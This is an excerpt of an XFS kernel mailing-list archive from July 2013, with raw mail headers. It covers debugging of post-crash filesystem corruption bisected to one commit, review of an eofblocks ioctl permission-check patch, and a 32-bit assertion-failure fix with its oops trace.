(No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 6E5CA6535D0E; Fri, 19 Jul 2013 11:02:19 -0500 (CDT) Message-ID: <51E9630A.3070201@sandeen.net> Date: Fri, 19 Jul 2013 11:02:18 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Markus Trippelsdorf CC: Stefan Ring , Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130719125149.GB360@x4> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374249740 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137229 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/19/13 7:51 AM, Markus Trippelsdorf wrote: > On 2013.07.19 at 14:41 +0200, Stefan Ring wrote: >>> I've bisected this issue to the following commit: >>> >>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f >>> Author: Dave Chinner >>> Date: Thu Jun 27 16:04:49 2013 +1000 >>> >>> xfs: don't do IO when creating an new inode >>> >>> Reverting this commit on top of the Linus tree "solves" all problems for >>> me. IOW I no longer loose my KDE and LibreOffice config files during a >>> crash. Log recovery now works fine and xfs_repair shows no issues. >>> >>> So users of 3.11.0-rc1 beware. Only run this version if you have >>> up-to-date backups handy. Are you certain about that bisection point? All that does is say: When we allocate a new inode, assign it a random generation number, rather than reading it from disk & incrementing the older generation number, AFAICS. So it simply avoids a read IO. I wonder if simply changing IO patterns on the SSD changes how it's doing caching & destaging . >> What I miss in this thread is a distinction between filesystem >> corruption on the one hand and a few zeroed files on the other. The >> latter may be a nuisance, but it is expected behavior, while the >> former should never happen, period, if I'm not mistaken. > > Well, it is natural that fs developers at first try to blame userspace. I disagree with that, we just need to be clear about your scenarios, and what integrity guarantees should apply. > Unfortunately it turned out that in this case there is filesystem > corruption. (Fortunately this normally happens only very rarely on rc1 > kernels). Corruption is when you get back data that you did not write, or metadata which is inconsistent or unreadable even after a proper log replay. Corruption is _not_ unsynced, buffered data that was lost on a crash or poweroff. But I might not have followed the thread properly, and I might misunderstand your situation. When you experience this lost file [data] scenario, was it after an orderly reboot, or after a crash and/or system reset? -Eric From dwight.engen@oracle.com Fri Jul 19 11:13:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B3457F62 for ; Fri, 19 Jul 2013 11:13:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 48D958F8054 for ; Fri, 19 Jul 2013 09:13:17 -0700 (PDT) X-ASG-Debug-ID: 1374250394-04cb6c2a42f048f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id k0B1tJD61lSzOFzd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 09:13:15 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6JGDClZ003085 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 19 Jul 2013 16:13:13 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6JGDBQp014540 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 19 Jul 2013 16:13:12 GMT Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6JGDBEI014535; Fri, 19 Jul 2013 16:13:11 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 19 Jul 2013 09:13:11 -0700 Date: Fri, 19 Jul 2013 12:13:21 -0400 From: Dwight Engen To: Dave Chinner , Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130719121321.5d78beeb@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes In-Reply-To: <20130719060221.GX11674@dastard> References: <20130717114746.4e133042@oracle.com> <20130719060221.GX11674@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374250395 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137229 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, 19 Jul 2013 16:02:21 +1000 Dave Chinner wrote: > On Wed, Jul 17, 2013 at 11:47:46AM -0400, Dwight Engen wrote: > > Signed-off-by: Dwight Engen > > What's the reason for this patch? Its trying to ensure we only allow the XFS_IOC_FREE_EOFBLOCKS caller to affect the indoes they should be able to. http://oss.sgi.com/archives/xfs/2013-06/msg00955.html has a bit more background. This isn't really related to user namespaces per-se, so I guess it should be a separate patch, but since I modified the eofblocks structure I was trying to fix this as well. > > --- > > fs/xfs/xfs_fs.h | 1 + > > fs/xfs/xfs_icache.c | 4 ++++ > > fs/xfs/xfs_ioctl.c | 2 ++ > > 3 files changed, 7 insertions(+) > > > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > > index 7eb4a5e..aee4b12 100644 > > --- a/fs/xfs/xfs_fs.h > > +++ b/fs/xfs/xfs_fs.h > > @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { > > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid > > */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by > > project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* > > filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK > > (1 << 5) /* check can write inode */ #define > > XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ > > XFS_EOF_FLAGS_UID | \ > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > index d873ab9e..728283a 100644 > > --- a/fs/xfs/xfs_icache.c > > +++ b/fs/xfs/xfs_icache.c > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > if (!xfs_inode_match_id(ip, eofb)) > > return 0; > > > > + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > + return 0; > > This assumes we are walking fully instantiated VFS inodes. That's > not necessarily true - we may be walking inodes that have already > been dropped from the VFS and are waiting for background reclaim to > clean them up. I suspect that this doesn't need to be done - we > normally stop background modification processes like this when we > convert the filesystem to read-only. I suspect the eof-blocks scan > code is missing that, and so it can potentially run on a RO > filesystem. That needs fixing similar to the way we stop and start > the periodic log work... So if there isn't a good way to check per-inode, maybe for now we should just restrict the ioctl caller to be capable(CAP_SYS_ADMIN)? > Also, gcc should throw warnings on that code (strange, it didn't > here on gcc-4.7) as it needs more parenthesis. i.e I don't think it needs them (& is higher precedence than &&), but I can add them for clarity if you like. > if ((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && > > > /* skip the inode if the file size is too small */ > > if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && > > XFS_ISIZE(ip) < eofb->eof_min_file_size) > > Oh, I see you are just copying other code. How did I miss that in a > past review? :( > > Hmmm - it looks like there's a bunch of them in xfs_inode_match_id() > as well, and you touched all those if() statements in a previous > patch. can you go back to the patch that touches > xfs_inode_match_id() and add the extra () there as well? Yep, I'll update those too. > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index abbbdcf..e63e359 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -1636,6 +1636,8 @@ xfs_file_ioctl( > > !gid_valid(keofb.eof_gid)) > > return XFS_ERROR(EINVAL); > > > > + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; > > We should be checking for the fs being RO here and aborting if it > is. inode_permission() would catch that but I agree there is no point waiting till then to find out. > Cheers, > > Dave. From markus@trippelsdorf.de Fri Jul 19 11:32:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0E2DB7F62 for ; Fri, 19 Jul 2013 11:32:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E3DA28F8050 for ; Fri, 19 Jul 2013 09:32:23 -0700 (PDT) X-ASG-Debug-ID: 1374251541-04cb6c2a46f058a0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id FdC2Af2ya6odhLBM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 09:32:22 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=oM0MU6uiygxQV2e9Y1kcfigvnp 3yuJThZSUHcAhJ0YU=; b=VlHXY+1isNnX4l1sd8PnYJJFOmHVA3AEQAMwo67dwY /3Zdh9rhM2DCj86nfc4IxMYClxZoUpQPp6oo9u4xMvT+oiqqs2jud40bW8NH3sl5 J7xFxB1fqQMzFdJEvcyeb60JaxHdexcYQ2/ciAQ855jcSWcxMdwVLQcnKQpHnBEZ Q= Received: (qmail 14786 invoked from network); 19 Jul 2013 18:32:21 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 18:32:21 +0200 Date: Fri, 19 Jul 2013 18:32:20 +0200 From: Markus Trippelsdorf To: Eric Sandeen Cc: Stefan Ring , Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719163220.GA363@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E9630A.3070201@sandeen.net> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374251542 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137231 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: > On 7/19/13 7:51 AM, Markus Trippelsdorf wrote: > > On 2013.07.19 at 14:41 +0200, Stefan Ring wrote: > >>> I've bisected this issue to the following commit: > >>> > >>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > >>> Author: Dave Chinner > >>> Date: Thu Jun 27 16:04:49 2013 +1000 > >>> > >>> xfs: don't do IO when creating an new inode > >>> > >>> Reverting this commit on top of the Linus tree "solves" all problems for > >>> me. IOW I no longer loose my KDE and LibreOffice config files during a > >>> crash. Log recovery now works fine and xfs_repair shows no issues. > >>> > >>> So users of 3.11.0-rc1 beware. Only run this version if you have > >>> up-to-date backups handy. > > Are you certain about that bisection point? All that does is > say: When we allocate a new inode, assign it a random generation > number, rather than reading it from disk & incrementing the > older generation number, AFAICS. So it simply avoids a read IO. Yes, I'm sure. As I wrote above I also double-checked by reverting the commit on top of the current Linus tree. > I wonder if simply changing IO patterns on the SSD changes how > it's doing caching & destaging . No. The corruption also happens on my conventional (spinning) drives. > >> What I miss in this thread is a distinction between filesystem > >> corruption on the one hand and a few zeroed files on the other. The > >> latter may be a nuisance, but it is expected behavior, while the > >> former should never happen, period, if I'm not mistaken. > > > > Well, it is natural that fs developers at first try to blame userspace. > > I disagree with that, we just need to be clear about your scenarios, > and what integrity guarantees should apply. > > > Unfortunately it turned out that in this case there is filesystem > > corruption. (Fortunately this normally happens only very rarely on rc1 > > kernels). > > Corruption is when you get back data that you did not write, > or metadata which is inconsistent or unreadable even after a proper > log replay. > > Corruption is _not_ unsynced, buffered data that was lost on a > crash or poweroff. > > But I might not have followed the thread properly, and I might > misunderstand your situation. > > When you experience this lost file [data] scenario, was it after an > orderly reboot, or after a crash and/or system reset? To reproduce this issue simply boot into your desktop and then hit sysrq-c and reboot. After log replay without error messages, the filesystem is in an inconsistent state and many small config files are lost. There are also undeletable files. You need to run xfs_repair manually to bring the filesystem back to normal. When cca9f93a52d is reverted, you don't loose your config files and the filesystem is OK after log replay. xfs_repair reports no issues at all. -- Markus From bpm@sgi.com Fri Jul 19 14:02:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4640F7F58 for ; Fri, 19 Jul 2013 14:02:24 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13109304043; Fri, 19 Jul 2013 12:02:21 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E7C9C4266DC; Fri, 19 Jul 2013 14:02:20 -0500 (CDT) Date: Fri, 19 Jul 2013 14:02:20 -0500 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH RESEND] xfs: fix assertion failure in xfs_vm_write_failed() Message-ID: <20130719190220.GF3572@sgi.com> References: <51E4D5F4.902@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E4D5F4.902@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Jeff, On Tue, Jul 16, 2013 at 01:11:16PM +0800, Jeff Liu wrote: > From: Jie Liu > > In xfs_vm_write_failed(), we evaluate the block_offset of pos with > PAGE_MASK which is an unsigned long. That is fine on 64-bit platforms > regardless of whether the request pos is 32-bit or 64-bit. However, on > 32-bit platforms the value is 0xfffff000 and so the high 32 bits in it > will be masked off with (pos & PAGE_MASK) for a 64-bit pos. > > As a result, the evaluated block_offset is incorrect which will cause > this failure ASSERT(block_offset + from == pos); and potentially pass > the wrong block to xfs_vm_kill_delalloc_range(). > > In this case, we can get a kernel panic if CONFIG_XFS_DEBUG is enabled: > > XFS: Assertion failed: block_offset + from == pos, file: fs/xfs/xfs_aops.c, line: 1504 > > ------------[ cut here ]------------ > kernel BUG at fs/xfs/xfs_message.c:100! > invalid opcode: 0000 [#1] SMP > ........ > Pid: 4057, comm: mkfs.xfs Tainted: G O 3.9.0-rc2 #1 > EIP: 0060:[] EFLAGS: 00010282 CPU: 0 > EIP is at assfail+0x2b/0x30 [xfs] > EAX: 00000056 EBX: f6ef28a0 ECX: 00000007 EDX: f57d22a4 > ESI: 1c2fb000 EDI: 00000000 EBP: ea6b5d30 ESP: ea6b5d1c > DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 > CR0: 8005003b CR2: 094f3ff4 CR3: 2bcb4000 CR4: 000006f0 > DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000 > DR6: ffff0ff0 DR7: 00000400 > Process mkfs.xfs (pid: 4057, ti=ea6b4000 task=ea5799e0 task.ti=ea6b4000) > Stack: > 00000000 f9525c48 f951fa80 f951f96b 000005e4 ea6b5d7c f9494b34 c19b0ea2 > 00000066 f3d6c620 c19b0ea2 00000000 e9a91458 00001000 00000000 00000000 > 00000000 c15c7e89 00000000 1c2fb000 00000000 00000000 1c2fb000 00000080 > Call Trace: > [] xfs_vm_write_failed+0x74/0x1b0 [xfs] > [] ? printk+0x4d/0x4f > [] xfs_vm_write_begin+0x10d/0x170 [xfs] > [] generic_file_buffered_write+0xdc/0x210 > [] xfs_file_buffered_aio_write+0xf9/0x190 [xfs] > [] xfs_file_aio_write+0xf3/0x160 [xfs] > [] do_sync_write+0x94/0xd0 > [] vfs_write+0x8f/0x160 > [] ? wait_on_retry_sync_kiocb+0x50/0x50 > [] sys_write+0x47/0x80 > [] sysenter_do_call+0x12/0x28 > ............. > EIP: [] assfail+0x2b/0x30 [xfs] SS:ESP 0068:ea6b5d1c > ---[ end trace cdd9af4f4ecab42f ]--- > Kernel panic - not syncing: Fatal exception > > In order to avoid this, we can evaluate the block_offset of the start > of the page by using shifts rather than masks the mismatch problem. > > Thanks Dave Chinner for help finding and fixing this bug. > > Reported-by: Michael L. Semon > Reviewed-by: Dave Chinner > Reviewed-by: Mark Tinguely > Signed-off-by: Jie Liu Applied. Thanks, Ben From bpm@sgi.com Fri Jul 19 14:13:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 37FB47F58 for ; Fri, 19 Jul 2013 14:13:35 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67F47AC004; Fri, 19 Jul 2013 12:13:31 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1E8D44266DC; Fri, 19 Jul 2013 14:13:31 -0500 (CDT) Date: Fri, 19 Jul 2013 14:13:31 -0500 From: Ben Myers To: Markus Trippelsdorf Cc: Eric Sandeen , Stefan Ring , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719191331.GG3572@sgi.com> References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> <20130719163220.GA363@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130719163220.GA363@x4> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Markus, On Fri, Jul 19, 2013 at 06:32:20PM +0200, Markus Trippelsdorf wrote: > On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: > > > Unfortunately it turned out that in this case there is filesystem > > > corruption. (Fortunately this normally happens only very rarely on rc1 > > > kernels). > > > > Corruption is when you get back data that you did not write, > > or metadata which is inconsistent or unreadable even after a proper > > log replay. > > > > Corruption is _not_ unsynced, buffered data that was lost on a > > crash or poweroff. > > > > But I might not have followed the thread properly, and I might > > misunderstand your situation. > > > > When you experience this lost file [data] scenario, was it after an > > orderly reboot, or after a crash and/or system reset? > > To reproduce this issue simply boot into your desktop and then hit > sysrq-c and reboot. After log replay without error messages, the > filesystem is in an inconsistent state and many small config files are > lost. There are also undeletable files. You need to run xfs_repair > manually to bring the filesystem back to normal. > > When cca9f93a52d is reverted, you don't loose your config files and the > filesystem is OK after log replay. xfs_repair reports no issues at all. I'm a bit late to the party, but I wanted to give this a try. On the machine I tried, I was not able to reproduce any corruption with a echo b > /proc/sysrq-trigger xfs_repair -n found no problems at all. I'll try it on a few more. Could you post some of your latest xfs_repair output? And, have you been able to reproduce this on more than one machine? I may have missed that detail earlier in the thread. Thanks much, Ben From sandeen@sandeen.net Fri Jul 19 14:23:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 71A0A7F53 for ; Fri, 19 Jul 2013 14:23:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6161A8F804B for ; Fri, 19 Jul 2013 12:23:06 -0700 (PDT) X-ASG-Debug-ID: 1374261785-04cbb0469111b7ee0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BVNYDzgv5BNZD1eC for ; Fri, 19 Jul 2013 12:23:05 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 07E346535D0E; Fri, 19 Jul 2013 14:23:03 -0500 (CDT) Message-ID: <51E99216.9060609@sandeen.net> Date: Fri, 19 Jul 2013 14:23:02 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Markus Trippelsdorf CC: Stefan Ring , Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> <20130719163220.GA363@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130719163220.GA363@x4> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374261785 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137243 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/19/13 11:32 AM, Markus Trippelsdorf wrote: > On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: >> On 7/19/13 7:51 AM, Markus Trippelsdorf wrote: >>> On 2013.07.19 at 14:41 +0200, Stefan Ring wrote: >>>>> I've bisected this issue to the following commit: >>>>> >>>>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f >>>>> Author: Dave Chinner >>>>> Date: Thu Jun 27 16:04:49 2013 +1000 >>>>> >>>>> xfs: don't do IO when creating an new inode >>>>> >>>>> Reverting this commit on top of the Linus tree "solves" all problems for >>>>> me. IOW I no longer loose my KDE and LibreOffice config files during a >>>>> crash. Log recovery now works fine and xfs_repair shows no issues. >>>>> >>>>> So users of 3.11.0-rc1 beware. Only run this version if you have >>>>> up-to-date backups handy. >> >> Are you certain about that bisection point? All that does is >> say: When we allocate a new inode, assign it a random generation >> number, rather than reading it from disk & incrementing the >> older generation number, AFAICS. So it simply avoids a read IO. > > Yes, I'm sure. > As I wrote above I also double-checked by reverting the commit on top of > the current Linus tree. > >> I wonder if simply changing IO patterns on the SSD changes how >> it's doing caching & destaging . > > No. The corruption also happens on my conventional (spinning) drives. > >>>> What I miss in this thread is a distinction between filesystem >>>> corruption on the one hand and a few zeroed files on the other. The >>>> latter may be a nuisance, but it is expected behavior, while the >>>> former should never happen, period, if I'm not mistaken. >>> >>> Well, it is natural that fs developers at first try to blame userspace. >> >> I disagree with that, we just need to be clear about your scenarios, >> and what integrity guarantees should apply. >> >>> Unfortunately it turned out that in this case there is filesystem >>> corruption. (Fortunately this normally happens only very rarely on rc1 >>> kernels). >> >> Corruption is when you get back data that you did not write, >> or metadata which is inconsistent or unreadable even after a proper >> log replay. >> >> Corruption is _not_ unsynced, buffered data that was lost on a >> crash or poweroff. >> >> But I might not have followed the thread properly, and I might >> misunderstand your situation. >> >> When you experience this lost file [data] scenario, was it after an >> orderly reboot, or after a crash and/or system reset? > > To reproduce this issue simply boot into your desktop and then hit > sysrq-c and reboot. Ok, a crash, so at a minimum, some buffered data loss is 100% expected. > After log replay without error messages, the > filesystem is in an inconsistent state What exactly do you mean by inconsistent state? Sorry to be pedantic here. > and many small config files are > lost. Written how long ago? Were they fsynced? I suppose you are unsure about that, if they're app-written. > There are also undeletable files. What happens when you try to delete them? > You need to run xfs_repair > manually to bring the filesystem back to normal. And what is the repair output? Can you show an exact sequence of events, capturing all relevant output from repair and/or dmesg, etc, just so we see exactly what you see? Thanks, -Eric > When cca9f93a52d is reverted, you don't loose your config files and the > filesystem is OK after log replay. xfs_repair reports no issues at all. > From markus@trippelsdorf.de Fri Jul 19 14:53:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 59EA47F53 for ; Fri, 19 Jul 2013 14:53:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45C8E304062 for ; Fri, 19 Jul 2013 12:53:18 -0700 (PDT) X-ASG-Debug-ID: 1374263593-04cb6c2a46f140c0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id pv7WcPHW0kRlDzJQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 12:53:13 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; 